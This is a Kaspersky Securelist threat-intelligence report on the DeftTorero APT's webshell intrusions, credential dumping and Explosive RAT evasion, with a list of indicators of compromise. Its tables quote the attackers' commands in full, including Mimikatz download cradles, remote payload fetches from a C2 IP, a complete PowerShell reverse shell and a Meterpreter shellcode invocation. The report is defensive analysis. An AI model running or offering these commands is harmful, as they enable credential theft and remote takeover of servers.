

Home Products

Small Business 1-50 employees

Medium Business 51-999 employees

Enterprise 1000+ employees

**SECURELIST** by Kaspersky

CompanyAccount

Get In Touch

Dark mode

English

Solutions

Industries

Products

Services

Resource Center

About Us

GDPR

Content menu

Search...



Subscribe



# DeftTorero: tactics, techniques and procedures of intrusions revealed

APT REPORTS

03 OCT 2022

7 minute read



## AUTHORS

Expert

GREAT

Earlier this year, we started hunting for possible new DeftTorero (aka Lebanese Cedar, Volatile Cedar) artifacts. This threat actor is believed to originate from the Middle East and was [publicly disclosed](#) to the cybersecurity community as early as 2015. Notably, no other intelligence was shared until 2021, which led us to speculate



Table of Contents



**Initial Access and webshell deployment**

**Discovery**

Dumping credentials

**The many ways to achieve Execution**

**Credentials: the more, the better**

Defense Evasion: Explosive RAT modifications

**Victims**

**Conclusions**

**Indicators of Compromise**

on a possible shift by the threat actor to more fileless/LOLBINS techniques, and the use of known/common offensive tools publicly available on the internet that allows them to blend in.

[File hashes](#)

[Post exploitation](#)

The public reports available to date expose and discuss the final payload – Explosive RAT – and the webshells used in the initial foothold such as Caterpillar and ASPXSpy (you can find webshell MD5 hashes in the IoC section), with little on the tactics, techniques and procedures (TTPs); this post focuses primarily on the TTPs used by the threat actor in intrusions between late 2019 and mid-2021 to compromise victims.

More information about *DeftTorero* is available to customers of Kaspersky Intelligence Reporting.

Contact us: [intelreports@kaspersky.com](mailto:intelreports@kaspersky.com)

## Initial Access and webshell deployment

During our intrusion analysis of DeftTorero's webshells, such as *Caterpillar*, we noticed traces that infer the threat actor possibly exploited a *file upload form* and/or a *command injection* vulnerability in a functional or staging website hosted on the target web server. This assumption is based on the fact that the uploaded webshells always drop in the same web folder, and in some cases get assigned a name containing a GUID followed by the original webshell filename.

In other instances, we noticed traces pointing to a possible exploitation of IIS PHP plugins pre-installed by the server admins. And finally, in some other instances, we suspect the operators gained server credentials from other systems in the same organization and logged in using a remote desktop (MSTSC.exe) to deploy the webshell.

Once the threat actor succeeds in identifying a method to upload a webshell, they attempt to drop several webshell types and families, most of which are blocked by the AV engine. We suspect that

almost all the webshells dropped (including ASPXSpy, devilzshell, etc.) originate from a [GitHub account](#), and are either used as is or are slightly modified.

## Discovery

Upon successful installation of the webshell, the operators run multiple commands to gain situational awareness from the exploited system. This includes testing network connectivity by pinging Google.com, listing current folders, identifying the current user privileges, enumerating local system users, and listing websites hosted by the compromised server. The operators also attempt to assess if the web server is joined and/or trusted by any domain. At a later stage, this will prove useful as it will inform them on the next course of actions for dumping local or domain credentials.

Command	Purpose
cmd.exe /c whoami	Identify user privileges
cmd.exe /c appcmd list site	List the hosted websites on the web server
cmd.exe /c nltest /domain_trusts	List domain controllers and enumerate domain trusts
cmd.exe /c dir	List current directories and files
cmd.exe /c net view	Display a list of domains, computers, or resources that are being shared by the specified computer
cmd.exe /c set	Display the current environment variable settings
cmd.exe /c systeminfo	Display system profile and installed hotfixes
cmd.exe /c ipconfig -displaydns	Display DNS resolver cache

### GREAT WEBINARS

13 MAY 2021, 1:00PM

 **GReAT Ideas. Balalaika Edition**

[BORIS LARIN](#), [DENIS LEGEZO](#)

26 FEB 2021, 12:00PM

 **GReAT Ideas. Green Tea Edition**

[JOHN HULTQUIST](#), [BRIAN BARTHOLOMEW](#),  
[SUGURU ISHIMARU](#), [VITALY KAMLUK](#), [SEONGSU PARK](#),  
[YUSUKE NIWA](#), [MOTOHIKO SATO](#)

17 JUN 2020, 1:00PM

 **GReAT Ideas. Powered by SAS: malware attribution and next-gen IoT honeypots**

[MARCO PREUSS](#), [DENIS LEGEZO](#), [COSTIN RAIU](#),  
[KURT BAUMGARTNER](#), [DAN DEMETER](#),

cmd.exe /c ipconfig -all	Display network configuration on all network interfaces
cmd.exe /c net user	Display local users
cmd.exe /c net user /domain	Display domain users
cmd.exe /c net use	Display mapped drives to local system
cmd.exe /c openfiles	Display files opened remotely

**Table. 1** Operator commands executed through webshell

After gaining situational awareness, the operators attempt to load/invoke a number of tools to dump local and domain credentials. In some cases, the threat actor attempts to install *Nmap* and *Advanced Port Scanner*, possibly to scan internal systems.

## Dumping credentials

Credential dumping methods differed from one case to another. In some instances, *Lazagne.exe* was used, in others Mimikatz variants were used either by executing the respective PE binary or by invoking a base64-encoded PowerShell version from a GitHub project. In a smaller number of instances, possibly due to AV detection, the operators dumped the LSASS.exe process to disk, most probably to process it offline for credential dumping.

Command	Comment
IEX (New-Object Net.WebClient).DownloadString("https://raw.githubusercontent.com/BC-Security/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1"); Invoke-Mimikatz -Command privilege::debug; Invoke-Mimikatz -DumpCreds;	Decoded base64 command issued through webshell to invoke Mimikatz to

YAROSLAV SHMELEV

26 AUG 2020, 2:00PM

 **GReAT Ideas. Powered by SAS: threat actors advance on new fronts**

IVAN KWIATKOWSKI, MAHER YAMOUT,  
NOUSHIN SHABAB, PIERRE DELCHER, FÉLIX AIME,  
GIAMPAOLO DEDOLA, SANTIAGO PONTIROLI

22 JUL 2020, 2:00PM

 **GReAT Ideas. Powered by SAS: threat hunting and new techniques**

DMITRY BESTUZHEV, COSTIN RAIU, PIERRE DELCHER,  
BRIAN BARTHOLOMEW, BORIS LARIN,  
ARIEL JUNGHEIT, FABIO ASSOLINI

	dump passwords
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/putterpanda/mimikittenz/master/Invoke-mimikittenz.ps1'); Invoke-mimikittenz	Decoded base64 command issued through webshell to invoke Mimikittenz to dump passwords

Table. 2 Operators invoking Mimikatz variants

Once credentials are obtained, it is believed the operators use Remote Desktop Protocol to pivot into internal systems, or reachable systems that are likely using the stolen credentials (e.g., trusted partners). This is also reinforced by timeline analysis where the threat actor deployed a webshell at another web server in the same network without exploiting a file upload form/vulnerability.

## The many ways to achieve Execution

Further commands were executed to bypass the AV engine and establish a Meterpreter session with the operators' C2 server. After a Meterpreter session is established, the operators attempt to again invoke Mimikatz variants to gain system and/or domain credentials. It's worth mentioning that in older intrusions, the threat actor deployed Explosive RAT instead of using Meterpreter.

Command	Co
cmd.exe /c "regsvr32 /s /n /u /i:http://200.159.87[.]196:3306/jsJ13j.sct scrobj.dll 2>&1	Alt me ach cor

FROM THE SAME AUTHORS



Grandoreiro, the global trojan with grandiose goals

Stealer here, stealer there, stealers everywhere!

Exotic SambaSpy is now dancing with Italian users

cmd.exe /c "powershell -command "regsvr32 /s /n /u /i:http://200.159.87[.]196:3306/jsJ13j.sct scrobj.dll" 2>&1	exe whi byp	BlindEagle flying high in Latin America
cmd.exe /c "powershell.exe -executionpolicy bypass -w hidden "iex(New-Object System.Net.WebClient).DownloadString('http://200.159.87[.]196/made.ps1') ; made.ps1" 2>&1	sec cor usir LOI	
cmd.exe /c "powershell.exe -c "(New-Object System.NET.WebClient).DownloadFile('http://200.159.87[.]196/av.vbs', \"\$env:temp\av.vbs"); Start-Process %windir%\system32\cscript.exe \"\$env:temp\av.vbs\" 2>&1	suc REC anc MS	EastWind campaign: new CloudSorcerer attacks on government organizations in Russia
cmd.exe /c "powershell.exe -executionpolicy bypass -w hidden "iex(New-Object System.Net.WebClient).DownloadString('http://<internal_IP_address>:8000/made.ps1'); made.ps1" 2>&1		
cmd.exe /c "powershell -nop -c "\$client = New-Object System.Net.Sockets.TCPClient('200.159.87[.]196',3306);\$stream = \$client.GetStream();[byte[]]\$bytes = 0..65535 %{0};while((\$i = \$stream.Read(\$bytes, 0, \$bytes.Length)) -ne 0){;\$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString(\$bytes,0, \$i);\$sendback = (iex \$data 2>&1   Out-String );\$sendback2 = \$sendback + 'PS ' + (pwd).Path + '>';\$sendbyte = ([text.encoding]::ASCII).GetBytes(\$sendback2);\$stream.Write(\$sendbyte,0,\$sendbyte.Length);\$stream.Flush()};\$client.Close()" 2>&1		
cmd.exe /c "msiexec /q /i http://200.159.87[.]196/1.msi 2>&1		
cmd.exe /c "Powershell.exe -NoP -Nonl -W Hidden -Exec Bypass IEX (New-Object System.Net.WebClient).DownloadString('https://raw.githubusercontent.com/cheetahz/PowerSploit/master/CodeExecution/Invoke-Shellcode.ps1'); Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 200.159.87[.]196 -Lport 3306 -Force 2>&1	PoI cor inv Me ses	

Table. 3 Operator commands to establish further presence on other servers in the same network

## Credentials: the more, the better

While the same credential dumping strategy has been used by the operators in most intrusions, there were some instances where few modifications were seen. For example, the operators used the VSSADMIN system tool to create a shadow copy snapshot on the targeted server in an attempt to dump domain credentials, a technique also [used in pentesting and red team engagement](#).

Command	Comment
CMD /C vssadmin create shadow /for=E:	Create a volume shadow copy to collect SAM and SYSTEM registry hives from local system, or NTDS.DIT and SYSTEM hives if on a domain controller
CMD /C vssadmin list shadows /for=E:>	Test if the above command worked

Table. 4 Creating a shadow copy

## Defense Evasion: Explosive RAT modifications

We've barely seen Explosive RAT since 2019. However, it's worth mentioning the tricks the author used in the versions that we know of. While the functionality of the malware didn't change that much over time, the author made an effort to ensure its files wouldn't be detected using [publicly available signatures](#). The changes introduced were minimal but sufficient. The table below illustrates some changes made by the malware author. It is also noticeable that some strings mentioned in previous Yara rules disappeared from the newer version.

New Pattern	Old Pattern	Pattern Description
DOD	DLD	Delimiter used for malware configuration variables

## Subscribe to our weekly e-mails

The hottest research right in your inbox

Email(Required)

Mozilla/5.0 (Windows NT 6.0; WOW64; rv:32.0) Gecko/20200101 Firefox/32.0	Mozilla/4.0 (compatible; MSIE 7.0; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727)	User Agent for HTTP Communication
--	--	-----------------------------------

Table. 5 Pattern changes in the newer Explosive RAT campaign

A second noticeable change made to evade defense was introduced to the function names exported by the DLL component of Explosive RAT. Below is a list of changes in the export table.

New Function Name	Old Function Name
AllDataGet	GetAllData
HistoryGetIE	GetIEHistory
TOCN	CON
FnClipOpen	OpenClipFn
HoKSetWin	SetWinHoK
appregister	Registerapp
ProcessPath	PathProcess


Table. 6 New function names compared to the old ones used in the 2015 campaign

## Victims

Based on our telemetry, the indicators of the intrusions we assessed between late 2019 and mid-2021 are similar to the usual DeftTorero victimology, with a clear focus on Middle Eastern countries such as Egypt, Jordan, Kuwait, Lebanon, Saudi Arabia, Turkey and the United Arab Emirates.

☐

I agree to provide my email address to “AO Kaspersky Lab” to receive information about new posts on the site. I understand that I can withdraw this consent at any time via e-mail by clicking the “unsubscribe” link that I find at the bottom of any e-mail sent to me for the purposes mentioned above.

 **Subscribe**



The targeted web servers occasionally host multiple websites belonging to different industry verticals such as Corporate, Education, Government, Military, Media, and Telcos. This presents the threat actor with the opportunity to pivot to other victims of interest.

## Conclusions

In this post, we described the potential tactics, techniques and procedures identified in previous DeftTorero intrusions that were largely missing from public reports. As our telemetry and public reports did not identify any new Explosive RAT detections after 2020, but only old slightly modified toolsets (e.g., Explosive RAT, webshells, etc.), the historical intrusions analysis we conducted suggest a potential TTP shift by the threat actor to more fileless/LOLBINS techniques, and the use of known/common offensive tools available on the internet. This TTP shift could explain the detection gap in previous years because using fileless techniques and public tools allows the operators to blend in with other threat activities.

There are two recommended defensive measures to combat such intrusions, aside from assessing web vulnerabilities, namely, monitoring web server file integrity and occasionally scanning web server backups; we have noticed that some of the threat actor post-exploitation tools were actually inside website backups, and continued to exist after the initial intrusion. If the backups were restored at a later stage, the threat actor could regain persistent access and continue where they left off.

If you want to learn more about *DeftTorero* activity and defense against this group, contact the Kaspersky Intelligence Reporting service at [intelreports@kaspersky.com](mailto:intelreports@kaspersky.com).

### IN THE SAME CATEGORY

**Beyond the Surface:  
the evolution and  
expansion of the  
SideWinder APT group**

## Indicators of Compromise

***Note:** We provide an incomplete list of IoCs here that are valid at the time of publication. A full IoC list is available in our private report.*

**BlindEagle flying high in Latin America**

## File hashes

**EastWind campaign: new CloudSorcerer attacks on government organizations in Russia**

[53EE31C009E96D4B079EBE3267D0AE8E](#) Explosive RAT EXE

[54EBC45137BA5B9F5ECE35CA40267100](#) Explosive RAT EXE

[A955B45E14D082F71E01EBC52CF13DB8](#) Explosive RAT EXE

[E952EC767D872EA08D8555CBC162F3DC](#) Explosive RAT EXE

[ED50613683B5A419E0D5FD2687C56DA](#) Explosive RAT EXE

[0a45de1cdf39e0ad67f5d88c730b433a](#) cmd.aspx (basic ASPX webshell)

[0d6bc7b184f9e1908d4d3fe0a7038a1e](#) c.aspx/conn.aspx (Tunna webshell)

[c87a206a9c9846a2d1c3537d459ec03a](#) the.aspx (ASPX webshell)

[02BCD71A4D7C3A366EFF733F92702B81](#) devel.aspx (Devel webshell)

[D6A82B866F7F9E1E01BF89C3DA106D9D](#) Banner.aspx (reGeorg webshell)

[C59870690803D976014C7C8B58659DDF](#) 03831a5291724ef2060127f19206eiab.e (webshell)

[1ED9169BED85EFB1FD5F8D50333252D8](#) aram.aspx (Caterpillar webshell)

[2D804386DE4073BAD642DFC816876D08](#) Pavos.aspx (Caterpillar webshell)

[523AA999B9270B382968E5C24AB6F9EB](#) Report\_21.jpg (ASPX webshell)

[45d854e66631e5c1cda6dbf4fea074ce](#) aspspy2014final.aspx (ASPXSpy webshell)

[Bb767354ee886f69b4ab4f9b4ac6b660](#) sec4ever.aspx (Sec4ever webshell)

[0152de452f92423829e041af2d783e3f](#) editor.aspx (basic ASPX webshell)

**APT trends report Q2 2024**

**CloudSorcerer – A new APT targeting Russian government entities**

<a href="#">7981f1bf9b8e5f4691e4ac440f1ba251</a>	devilzshell.aspx (devilzshell webshell)
<a href="#">4b646e7958e1bb00924b8e6598fe6670</a>	nightrunner.aspx (Nightrunner webshell)
<a href="#">D608163a972f43cc9f53705ed6d31089</a>	mini.php (PHP webshell)

## Post exploitation

<a href="#">7567F938EE1074CD3932FDB01088CA35</a>	Netcat (filenames seen: 50.exe, 04.exe, putty.exe)
<a href="#">566b4858b29cfa48cd5584bebf7546b</a>	mim.ps1 (Mimikatz)
<a href="#">BD876B57F8BE84FF5D95C899DE34C0EE</a>	Invoke-DCSync.ps1.txt
<a href="#">F575D4BB1F5FF6C54B2DE99E9BC40C75</a>	Aaa.txt/.ps1 (Mimikatz)
<a href="#">238A4EFE51A9340511788D2752ACA8D6</a>	DomainPasswordSpray.ps1
<a href="#">550BD7C330795A766C9DFB1586F3CC53</a>	Copy-VSS.ps1
<a href="#">68D3BF2C363144EC6874AB360FDDA00A</a>	lazagne.exe
<a href="#">3437E3E59FDA82CDB09EAB711BA7389D</a>	mimilove.exe



## DeftTorero: tactics, techniques and procedures of intrusions revealed

Your email address will not be published. Required fields are marked \*

\*

Type your comment here

Name \*

Email \*

Comment



## // LATEST POSTS

SAS

**The Crypto Game of Lazarus APT: Investors vs. Zero-days**

BORIS LARIN, VASILY BERDNIKOV

MALWARE DESCRIPTIONS

**Grandoreiro, the global trojan with grandiose goals**

GREAT

CRIMEWARE REPORTS

**Stealer here, stealer there, stealers everywhere!**

GREAT

CRIMEWARE REPORTS

**Analysis of the Crypt Ghouls group: continuing the investigation into a series of attacks on Russia**

KASPERSKY

## // LATEST WEBINARS



#### THREAT INTELLIGENCE AND IR

04 SEP 2024, 5:00PM 60 MIN

### Inside the Dark Web: exploring the human side of cybercriminals

ANNA PAVLOVSKAYA



#### TECHNOLOGIES AND SERVICES

13 AUG 2024, 5:00PM 60 MIN

### The Cybersecurity Buyer's Dilemma: Hype vs (True) Expertise

OLEG GOROBETS,

ALEXANDER LISKIN



#### CYBERTHREAT TALKS

16 JUL 2024, 5:00PM 60 MIN

### Cybersecurity's human factor – more than an unpatched vulnerability

OLEG GOROBETS



#### TRAININGS AND WORKSHOPS

09 JUL 2024, 4:00PM 60 MIN

### Building and prioritizing detection engineering backlogs with MITRE ATT&CK

ANDREY TAMOYKIN

## // REPORTS

### Beyond the Surface: the evolution and expansion of the SideWinder APT group

Kaspersky analyzes SideWinder APT's recent activity: new targets in the MiddleEast and Africa, post-exploitation tools and techniques.

### EastWind campaign: new CloudSorcerer attacks on government organizations in Russia

Kaspersky has identified a new EastWind campaign targeting Russian organizations and using CloudSorcerer as well as APT31 and APT27 tools.

### BlindEagle flying high in Latin America

Kaspersky shares insights into the activity and TTPs of the BlindEagle APT, which targets organizations and individuals in Colombia, Ecuador, Chile, Panama and other Latin American countries.

### APT trends report Q2 2024

The report features the most significant developments relating to APT groups in Q2 2024, including the new backdoor in Linux utility XZ, a new RAT called SalmonQT, and hacktivist activity.



## // SUBSCRIBE TO OUR WEEKLY E-MAILS

The hottest research right in your inbox



Subscribe

☐

I agree to provide my email address to “AO Kaspersky Lab” to receive information about new posts on the site. I understand that I can withdraw this consent at any time via e-mail by clicking the “unsubscribe” link that I find at the bottom of any e-mail sent to me for the purposes mentioned above.

kaspersky

### THREATS

**APT (Targeted attacks)**  
**Secure environment (IoT)**  
**Mobile threats**  
**Financial threats**  
**Spam and phishing**  
**Industrial threats**  
**Web threats**  
**Vulnerabilities and exploits**  
**All threats**

### CATEGORIES

**APT reports**  
**Malware descriptions**  
**Security Bulletin**  
**Malware reports**  
**Spam and phishing reports**  
**Security technologies**  
**Research**  
**Publications**  
**All categories**

### OTHER SECTIONS

**Archive**  
**All tags**  
**Webinars**  
**APT Logbook**  
**Statistics**  
**Encyclopedia**  
**Threats descriptions**  
**KSB 2023**

© 2024 AO Kaspersky Lab. All Rights Reserved.  
Registered trademarks and service marks are the property of their respective owners.

**Privacy Policy** | **License Agreement**  
| **Cookies**